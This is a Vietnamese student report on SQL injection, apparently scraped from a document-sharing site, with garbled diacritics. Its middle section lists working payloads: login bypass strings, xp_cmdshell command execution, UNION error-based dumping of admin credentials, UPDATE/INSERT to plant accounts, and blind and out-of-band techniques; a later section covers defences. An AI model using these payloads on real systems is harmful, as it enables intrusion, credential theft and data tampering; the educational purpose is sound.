1. Trang chủ
  2. » Giáo Dục - Đào Tạo

(TIỂU LUẬN) đề tài tìm HIỂU về SQL INJECTION – CHÈN mã SQL

19 4 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 19
Dung lượng 450,71 KB

Nội dung

TRƯỜNG ĐẠI HỌC NGÂN HÀNG THÀNH PHỐ HỒ CHÍ MINH - KHOA HỆ THỐNG THÔNG TIN QUẢN LÝ ĐỀ TÀI: TÌM HIỂU VỀ SQL INJECTION – CHÈN MÃ SQL Lớp: ITS307_212_D03 Giáo viên hướng dẫn: Đặng Hoàng Huy Nhóm: TP.HCM, 02-06-2022 0 MỤC LỤC Danh sách thành viên nhóm NỘI DUNG .4 I Lý thuyết SQL Injection 1.SQL Injection gì? .4 Hậu SQL Injection II Q trình cơng SQL Injection .5 1.Tìm kiếm mục tiêu Kiểm tra chỗ yếu trang web Tại ‘ or 1=1– vượt qua phần kiểm tra đăng nhập? Thi hành lệnh từ xa SQL Injection Nhận output SQL query .7 Nhận liệu qua ‘database using ODBC error message’ Xác định tên column table Thu thập liệu quan trọng .10 Nhận numeric string 10 10 Thay đổi liệu (Update/Insert) CSDL 11 III Phân loại kiểu công SQL Injection 12 IV.Làm để diệt tận gốc lỗ hổng SQL Injection 14 TÀI LIỆU THAM KHẢO 19 0 Danh sách thành viên nhóm Tên thành viên Nguyễn Văn Tân MSSV 03023620013 03023620 0135 03023620 0157 03023620 0154 03023620 0153 Nguyễn Sinh Tài Trần Quỳnh Thảo Nguyễn Trọng Thảo Lê Thị Thu Thảo 0 NỘI DUNG I Lý thuyết SQL Injection SQL Injection gì? SQL injection – gọi SQLi – SQL injection kỹ thuật cho phép kẻ công lợi dụng lỗ hổng việc kiểm tra liệu đầu vào ứng dụng web thông báo lỗi hệ quản trị sở liệu trả để inject (tiêm vào) thi hành câu lệnh SQL bất hợp pháp SQL injection cho phép kẻ công thực thao tác, delete, insert, update, v.v sở liệu ứng dụng, chí server mà ứng dụng chạy SQL injection thường biết đến vật trung gian công ứng dụng web có liệu quản lý hệ quản trị sở liệu SQL Server, MySQL, Oracle, DB2, Sybase SQL Injection chủ yếu biết đến vector công dành cho trang web Nhưng dùng để công loại sở liệu SQL Các công SQL Injection cho phép hacker giả mạo danh tính, xáo trộn liệu Hay gây vấn đề làm hiệu lực giao dịch, thay đổi số dư, tiết lộ hay phá hủy liệu hệ thống Thậm chí làm liệu không khả dụng trở thành admin server sở liệu Các công SQL Injection thực cách gửi lệnh SQL độc hại đến máy chủ sở liệu thông qua yêu cầu người dùng mà website cho phép Bất kỳ kênh input sử dụng để gửi lệnh độc hại, bao gồm thẻ, chuỗi truy vấn (query strings), cookie tệp tin Tuy nhiên ngày thường làm việc framework đại Các framework test cẩn thận để phịng tránh lỗi, có SQL Injection Hậu SQL Injection  Làm lộ liệu database Tuỳ vào tầm quan trọng liệu mà hậu quảdao động mức nhẹ vô nghiêm trọng 0  Lộ liệu khách hàng ảnh hưởng nghiêm trọng đến cơng ty Hình ảnh cơng ty bị ảnh hưởng, khách hàng chuyển qua sử dụng dịch vụ khác, dẫn đến phá sản v…v  Hack tài khoản cá nhân  Ăn cắp chép liệu trang web hệ thống  Thay đổi liệu nhạy cảm hệ thống  Xóa liệu nhạy cảm quan trọng hệ thống  Người dùng đăng nhập vào ứng dụng với tư cách người dùng khác, với tư cách quản trị viên  Người dùng xem thông tin cá nhân thuộc người dùng khác, ví dụ chi tiết hồ sơ người dùng khác, chi tiết giao dịch họ,…  Người dùng sửa đổi cấu trúc sở liệu, chí xóa bảng sở liệu ứng dụng  Người dùng kiểm soát máy chủ sở liệu thực thi lệnh theo ý muốn II Q trình cơng SQL Injection Tìm kiếm mục tiêu Có thể tìm trang web cho phép submit liệu trình tìm kiếm mạng, chẳng hạn trang login, search, feedback, … Ví dụ: http://yoursite.com/index.asp?id=10 Một số trang web chuyển tham số qua field ẩn, phải xem mã HTML thấy rõ Ví dụ 0 Kiểm tra chỗ yếu trang web Thử submit field username, password field id, hi’ or 1=1– Login: hi' or 1=1 Password: hi' or 1=1-http://yoursite.com/index.asp?id=hi' or 1=1 Nếu site chuyển tham số qua field ẩn, download source HTML, lưu đĩa cứng thay đổi lại URL cho phù hợp Ví dụ: Nếu thành cơng, login vào mà không cần phải biết username password Tại ‘ or 1=1– vượt qua phần kiểm tra đăng nhập? Giả sử có trang ASP liên kết đến ASP trang khác với URL sau: http://yoursite.com/index.asp?category=food Trong URL trên, biến ‘category’ gán giá trị ‘food’ Mã ASP trang sau (đây ví dụ thơi): v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr) v_cat chứa giá trị biến request(“category”) ‘food’ câu lệnh SQL là: SELECT * FROM product WHERE PCategory='food' Dòng query trả tập resultset chứa nhiều dòng phù hợp với điều kiện WHERE PCategory=’food’ Nếu thay đổi URL thành http://yoursite.com/index.asp?category=food’ or 1=1–, biến v_cat chứa giá trị “food’ or 1=1– ” dòng lệnh SQL query là: SELECT * FROM product WHERE PCategory='food' or 1=1 ' 0 Dòng query select thứ bảng product bất chấp giá trị trường PCategory có ‘food’ hay khơng Hai dấu gạch ngang (–) cho MS SQL server biết hết dòng query, thứ lại sau “–” bị bỏ qua Đối với MySQL, thay “–” thành “#” Ngồi ra, thử cách khác cách submit ‘ or ‘a’=’a Dòng SQL query là: SELECT * FROM product WHERE PCategory='food' or 'a'='a' Một số loại liệu khác mà nên thử submit để biết xem trang web có gặp lỗi hay không: ' or 1=1-" or 1=1-or 1=1-' or 'a'='a " or "a"="a ') or ('a'='a Thi hành lệnh từ xa SQL Injection Nếu cài đặt với chế độ mặc định mà khơng có điều chỉnh gì, MS SQL Server chạy mức SYSTEM, tương đương với mức truy cập Administrator Windows Có thể dùng store procedure xp_cmdshell CSDL master để thi hành lệnh từ xa: '; exec master xp_cmdshell 'ping 10.10.1.2' Hãy thử dùng dấu nháy đôi (“) dấu nháy đơn (‘) không làm việc Dấu chấm phẩy (sẽ kết thúc dòng SQL query cho phép thi hành SQL command Để kiểm tra xem lệnh có thi hành hay khơng, listen ICMP packet từ 10.10.1.2 tcpdump sau: #tcpdump icmp Nếu nhận ping request từ 10.10.1.2 nghĩa lệnh thi hành 0 Nhận output SQL query Có thể dùng sp_makewebtask để ghi output SQL query file HTML '; EXEC master sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" Chú ý: folder “share” phải share cho Everyone trước Nhận liệu qua ‘database using ODBC error message’ Các thông báo lỗi MS SQL Server thường đưa cho bạn thơng tin quan trọng Lấy ví dụ http://yoursite.com/index.asp?id=10, thử hợp integer ’10’ với string khác lấy từ CSDL: http://yoursite.com/index.asp?id=10 UNION SELECT TOP TABLE_NAME FROM INFORMATION_SCHEMA.TABLES Bảng INFORMATION_SCHEMA.TABLES hệ thống SQL Server chứa thông tin tất bảng (table) có server Trường TABLE_NAME chứa tên bảng CSDL Chúng ta chọn biết ln tồn Query là: SELECT TOP TABLE_NAME FROM INFORMATION_SCHEMA.TABLES Dòng query trả tên bảng CSDL Khi kết hợp chuỗi với số integer 10 qua statement UNION, MS SQL Server cố thử chuyển string (nvarchar) thành số integer Điều gặp lỗi không chuyển nvarchar sang int, server thông báo lỗi sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int /index.asp, line Thông báo lỗi cho biết giá trị muốn chuyển sang integer khơng được, “table1” Đây tên bảng CSDL mà muốn có 0 Để lấy tên tên bảng tiếp theo, dùng query sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1') Cũng thử tìm liệu cách khác thông qua statement LIKE câu lệnh SQL: http://yoursite.com/index.asp?id=10 UNION SELECT TOP TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25' Khi thơng báo lỗi SQL Server là: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int /index.asp, line Mẫu so sánh ‘%25login%25’ tương đương với %login% SQL Server Như thấy thơng báo lỗi trên, xác định tên table quan trọng “admin_login” Xác định tên column table Table INFORMATION_SCHEMA.COLUMNS chứa tên tất column table Có thể khai thác sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' Khi thơng báo lỗi SQL Server sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int /index.asp, line Như tên column “login_id” Để lấy tên column tiếp theo, dùng mệnh đề logic NOT IN () sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id') 0 Khi thơng báo lỗi SQL Server sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int /index.asp, line Làm tương tự trên, lấy tên column cịn lại “password”, “details” Khi ta lấy tên column qua thông báo lỗi SQL Server, ví dụ sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details') Khi thơng báo lỗi SQL Server sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator /index.asp, line Thu thập liệu quan trọng Chúng ta xác định tên table column quan trọng Chúng ta thu thập thông tin quan trọng từ table column Có thể lấy login_name table “admin_login” sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP login_name FROM admin_login Khi thơng báo lỗi SQL Server sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int /index.asp, line Dễ dàng nhận admin user có login_name “neo” Hãy thử lấy password “neo” sau: 10 0 http://yoursite.com/index.asp?id=10 UNION SELECT TOP password FROM admin_login where login_name='neo' Khi thơng báo lỗi SQL Server sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int /index.asp, line Và login vào với username “neo” password “m4trix” Nhận numeric string Có hạn chế nhỏ phương pháp Chúng ta nhận error message server chuyển text dạng số (text chứa kí tự số từ đến 9) Giả sử password “trinity” “31173” Vậy ta thi hành lệnh sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP password FROM admin_login where login_name='trinity' Thì nhận thơng báo lỗi “Page Not Found” Lý server chuyển password “31173” sang dạng số trước UNION với integer 10 Để giải vấn đề này, thêm vài kí tự alphabet vào numeric string để làm thất bại chuyển đổi từ text sang số server Dòng query sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity' Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code ‘+’ 0x2b) Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo string numeric string ‘31173 morpheus’ Khi hàm convert() gọi để chuyển ‘31173 morpheus’ sang integer, SQL server phát lỗi ODBC error message sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int /index.asp, line 11 0 Và nghĩa ta login vào với username ‘trinity’ password ‘31173’ 10 Thay đổi liệu (Update/Insert) CSDL Khi có tên tất column table, sử dụng lệnh UPDATE INSERT để sửa đổi/tạo record vào table Để thay đổi password “neo”, làm sau: http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo' Hoặc bạn muốn record vào table: http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA') Và login vào với username “neo2” password “newpas5” III Phân loại kiểu cơng SQL Injection Để tìm hiểu SQL Injection kỹ hơn, ta đến với phần phân loại công SQL Injection In-band SQLi Đây phương thức công SQL phổ biến Điểm bật Inband SQLi kẻ xấu sử dụng kênh để tiến hành công thu thập liệu đánh cắp In-band SQLi có biến thể thơng dụng bao gồm:  Error-based SQLi: Đầu tiên, kẻ công cài đoạn mã độc để hệ thống sở liệu báo lỗi Sau hacker dùng liệu thu thập từ thông báo để truy xuất thông tin cấu trúc sở liệu  Union-based SQLi: Bằng cách lợi dụng toán tử UNION SQL, hacker tiến hành hợp câu lệnh tạo từ sở liệu để thu HTTP response Trong response chứa thông tin riêng tư mà kẻ công nhắm đến Blind SQL Blind SQL injection kiểu công SQL injection truy vấn sở liệu sử dụng mệnh đề để đốn biết Cách cơng thường sử dụng mà 12 0 ứng dụng (web, apps) cấu hình để hiển thị thông báo lỗi chung chung, không hiển thị lỗi SQL Blind SQL Injection gọi SQL Inferential SQL Có hai dạng cơng :  Blind SQL injejction dựa vào nội dung phản hồi Trong trường hợp công Blind SQL injection dựa nội dung, kẻ công thực truy vấn SQL khác để hỏi câu hỏi TRUE FALSE sở liệu Sau đó, họ phân tích khác biệt câu trả lời câu lệnh TRUE FALSE Sau ví dụ web bán hàng online, nơi hiển thị thông tin sản phẩm bán http://www.shop-online.com/product_detail.php?id=1 Liên kết hiển thị thông tin chi tiết sản phẩm có id=1 lấy từ sở liệu Câu lệnh SQL cho liên kết yêu cầu là: SELECT * FROM products WHERE id = SELECT column_name, column_name_2 FROM table_name WHERE id = Kẻ công sửa lại truy vấn cách sửa url thành: http://www.shop-online.com/product_detail.php?id=1 and = Câu lệnh SQL đổi thành: SELECT * FROM products WHERE ID = and 1=2 SELECT column_name, column_name_2 FROM table_name WHERE ID = and 1=2 Điều khiến truy vấn trả sai khơng có mục hiển thị thơng tin sản phẩm Kẻ cơng sau tiến hành thay đổi yêu cầu thành: http://www.shop-online.com/product_detail.php?id=1 and = Và câu lệnh SQL lúc lại đổi thành: SELECT * FROM products WHERE ID = and 1=1 SELECT column_name, column_name_2 FROM table_name WHERE ID = and 1=1 13 0 Điều trả TRUE chi tiết sản phẩm có id=1 hiển thị Đây dấu hiệu rõ ràng ứng dụng gặp lỗi SQL injection chúng dùng Blind SQL injection để công Kiểu công thường chậm (đặc biệt với sở liệu có kích thước lớn) người cơng cần phải liệt kê liệu, mị kí tự  Blind SQL injejction dựa vào độ trễ thời gian phản hồi Trong trường hợp công dựa thời gian, kẻ công làm cho sở liệu thực hành động tốn thời gian Nếu ứng dụng không trả phản hồi lập tức, ứng dụng dễ bị Blind SQL injection Một hành động phổ biến dùng cho thời gian sleep Dựa ví dụ trước, kẻ cơng trước tiên đánh giá thời gian phản hồi máy chủ web cho truy vấn thông thường Yêu cầu kẻ công đưa là: http://www.shop-online.com/product_detail.php?id=1 and if(1=1, sleep(10), false) Nếu ứng dụng gặp lỗi SQL injection phản hồi bị trễ 10 giây IV.Làm để diệt tận gốc lỗ hổng SQL Injection Bạn nên kiểm tra mã trang, nơi mà bạn kết hợp nội dung trang, lệnh, chuỗi, v.v … với liệu đến từ người dùng Rà sốt lại mã nguồn, tìm kiếm lỗ hổng bảo mật phải phần thiết yếu trình phát triển phần mềm bạn Bạn sử dụng công cụ quét sql map để thu thập thông tin lỗ hổng SQL injection tiềm ẩn Trên thực tế, tin tặc thường sử dụng cơng cụ để tìm khai thác vectơ công SQL Injection website mục tiêu Hay đơn giản bạn sử dụng CyStack Platform để quét phát lỗ hổng bảo mật cách miễn phí để bảo vệ cho website Hàng rào phịng thủ cuối bạn Cho dù bạn cài đặt bảo mật cho website cao tới mức nữa, bạn phải sẵn sàng phòng bị cho ngày bị công SQL injections Chúng ta phải chiến thắng chiến, tin tặc cần giành chiến thắng lần Dưới số mẹo giúp bạn giảm tối thiểu thiệt hại bạn trở thành nạn nhân công SQL Injection 14 0 Tránh quyền quản trị Sử dụng tài khoản “root” “sa” để kết nối ứng dụng web với máy chủ sở liệu sai lầm tồi tệ mà bạn mắc phải Như đề cập, tài khoản quản trị bị xâm nhập cho phép hacker truy cập vào toàn hệ thống Ngay tài khoản tài khoản quản trị trao quyền truy cập vào tất sở liệu bên máy chủ gây tổn hại, đặc biệt máy chủ sở liệu chia sẻ ứng dụng sở liệu khác Do đó, tốt nên sử dụng tài khoản có quyền truy cập đọc- viết đơn giản để vào sở liệu riêng biệt, trường hợp website bạn bị công SQL Injection, phạm vi thiệt hại nằm ranh giới sở liệu Trong MySQL, cải thiện bảo mật cách hạn chế quyền truy cập vào tài khoản người dùng đến dải địa IP cụ thể thay mơ hình “%”, để ngăn tài khoản bị xâm nhập bị truy cập từ xa Trong máy chủ MS SQL, bạn nên sử dụng mơ hình Windows Authentication để hạn chế truy cập hacker vào sở liệu đảm bảo họ sử dụng kênh khác để truy cập vào sở liệu bạn Ngồi ra, trừ bạn có kế hoạch sử dụng số tính nâng cao SQL Server, bạn nên thiết lập dịch vụ windows để sử dụng tài khoản giới hạn thay “Local System” Điều giảm thiểu thiệt hại trường hợp tài khoản “sa” bị xâm nhập Mã hóa liệu nhạy cảm Mã hóa liệu nhạy cảm sở liệu bạn Nó bao gồm mật khẩu, câu hỏi câu trả lời bảo mật, liệu tài chính, thơng tin y tế thơng tin khác có ích cho tác nhân độc hại Điều đảm bảo tin tặc nắm tay liệu bạn, chúng khơng thể khai thác lập tức, cho bạn thời gian để phát vi phạm, đánh dấu thực biện pháp phản ứng khác thực thi khôi phục mật khẩu, đảm bảo liệu bị đánh cắp giá trị trước kẻ cơng giải mã 15 0 Nếu bạn hashing mật mình, nên sử dụng thuật tốn mạnh SHA-2, sớm trở thành tiêu chuẩn ngành công nghiệp để bảo vệ mật MD5 SHA-1 lỗi thời bị giải mã Đối với hình thức mã hóa khác, cẩn thận bạn cất giữ thông tin giải mã, đừng đặt chúng nơi Sẽ thật vô nghĩa bạn mã hóa liệu lại đặt cách thức giải mã cạnh chúng, hacker dễ dàng truy cập vào chúng chúng xâm hại máy chủ Không lưu trữ liệu nhạy cảm bạn không cần Khi bạn lưu trữ thơng tin sở liệu, xem gây tác hại bị rơi vào tay kẻ xấu, định xem bạn có thực cần lưu trữ hay khơng Cuộc cơng Ashley Madison làm lộ bí mật đen tối thơng tin mật khoảng 37 triệu người internet gây số thiệt hại nghiêm trọng, phần thành công kẻ công nhà cung cấp web không dọn dẹp thông tin nhạy cảm từ sở liệu Vì vậy, điểm mấu chốt là, không lưu trữ thông tin nhạy cảm sở liệu trừ bạn thực cần Và chí sau đó, xóa thơng tin khơng cịn sử dụng Cách phịng tránh giảm thiểu SQLI Xác nhận đầu vào: Đây cách phổ biến để hạn chế công SQLI, có hai biến thể xác thực đầu vào: xác thực danh sách đen xác thực danh sách trắng Xác nhận danh sách đen kiểm tra dầu vào bên tập hợp đầu vào độc hại biết Một ứng dụng biên dịch danh sách tất đầu vào độc hại, sau xác minh đầu vào bên ngồi so với danh sách biên dịch.Tuy nhiên hacker dễ dàng tạo nhiều biến thể đầu vào độc hại không nằm danh sách đen biết Xác nhận danh sách trắng kiểm tra đầu vào bên tập hợp đầu vào biết, phê duyệt Với xác thực đầu vào danh sách trắng, ứng dụng biết xác mong muốn từ chối giá trị vào khác không vượt qua thử nghiệm đầu vào phê duyệt 16 0 Thủ tục lưu trữ: Các thủ tục lưu trữ câu lệnh SQL xác định lưu trữ CSDL sau gọi từ ứng dụng Các nhà phát triển thường yêu cầu xây dựng câu lệnh SQl với tham số tự động tham số hố Tuy nhiên, nhà phát triển tạo truy vấn SQL động bên thủ tục lưu trữ Thực thủ tục lưu trữ cách an toàn cách tránh tạo SQL động bên Nguyên tắc đặc quyền tối thiểu: Đây kiểm soát bảo mật tiêu chuẩn giúp giảm thiểu thiệt hại tiềm tàng công thành công Tài khoản ứng dụng không nên gán quyền truy cập DBA quản trị viên vào máy chủ sở liệu, Ngoài ra, tùy thuộc vào yêu cầu truy cập , chúng nên giới hạn quyền truy cập đặc quyền Thơng báo lỗi đúng: Thông báo lỗi phải tuyệt đối tránh tiết lộ thông tin/chi tiết nhạy cảm vị trí xảy lỗi thơng báo lỗi Hãy loại bỏ kí tự meta '"/\; kí tự extend NULL, CR, LF, string nhận từ:  input người dùng đệ trình  tham số từ URL  giá trị từ cookie a Đối với giá trị numeric, chuyển sang integer trước query SQL, dùng ISNUMERIC để chắn số integer b Thay đổi "Startup and run SQL Server " dùng mức low privilege user tab SQL Server Security c Xóa stored procedure database master mà khơng dùng như:  xp_cmdshell  xp_startmail  xp_sendmail  sp_makewebtask 17 0 Ngăn chặn SQL Injection ASP.NET Các cách thức ngăn chặn SQL Injection trình bày phần 12 bao quát đủ phương pháp, ASP.NET có cách ngăn chặn đơn giản sử dụng Parameters làm việc với object SqlCommand (hoặc OleDbCommand) không sử dụng câu lệnh SQL trực tiếp Khi NET tự động validate kiểu liệu, nội dung liệu trước thực câu lệnh SQL Ngồi ra, cần kiểm sốt tốt thơng báo lỗi Và mặc định ASP.NET thông báo lỗi không thông báo chi tiết không chạy localhost V Hậu Blind SQL injection Các Blind SQL injection thường sử dụng để xây dựng lược đồ sở liệu lấy tất liệu sở liệu Điều thực cách sử dụng kỹ thuật brute force yêu cầu nhiều requests tự động hóa kẻ cơng sử dụng công cụ SQL injection như: SQLmap v v v  Out-of-band SQLi  Out-of-band SQLi dạng cơng phổ biến, chủ yếu phụ thuộc vào tính bật Database Server sở dụng Web Application  Kiểu công xảy hacker trực tiếp công thu thập kết trực tiếp kênh (In-band SQLi), đặc biệt việc phản hồi từ server không ổn định  Kiểu công phụ thuộc vào khả server thực request DNS HTTP để chuyển liệu cho kẻ cơng  Ví dụ câu lệnh xp_dirtree Microsoft SQL Server sử dụng để thực DNS request tới server khác kẻ công kiểm sốt, Oracle Database’s UTL HTTP Package sử dụng để gửi HTTP request từ SQL PL/SQL tới server kẻ công làm chủ 18 0 TÀI LIỆU THAM KHẢO (1) Các phòng chống aspnet Truy cập 11-06-2022.https://cmay.vn/sql-injectionla-gi-va-cach-phong-tranh-sql-injection/ https://quantrimang.com/tan-cong-kieu-sql-injection-va-cac-phong-chong-trong-aspnet-34905 19 0 ... 03023620 0153 Nguyễn Sinh Tài Trần Quỳnh Thảo Nguyễn Trọng Thảo Lê Thị Thu Thảo 0 NỘI DUNG I Lý thuyết SQL Injection SQL Injection gì? SQL injection – cịn gọi SQLi – SQL injection kỹ thuật cho phép... Phân loại kiểu cơng SQL Injection Để tìm hiểu SQL Injection kỹ hơn, ta đến với phần phân loại công SQL Injection In-band SQLi Đây phương thức công SQL phổ biến Điểm bật Inband SQLi kẻ xấu sử dụng... .4 I Lý thuyết SQL Injection 1 .SQL Injection gì? .4 Hậu SQL Injection II Q trình cơng SQL Injection .5 1 .Tìm kiếm mục tiêu

Ngày đăng: 02/12/2022, 18:05

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w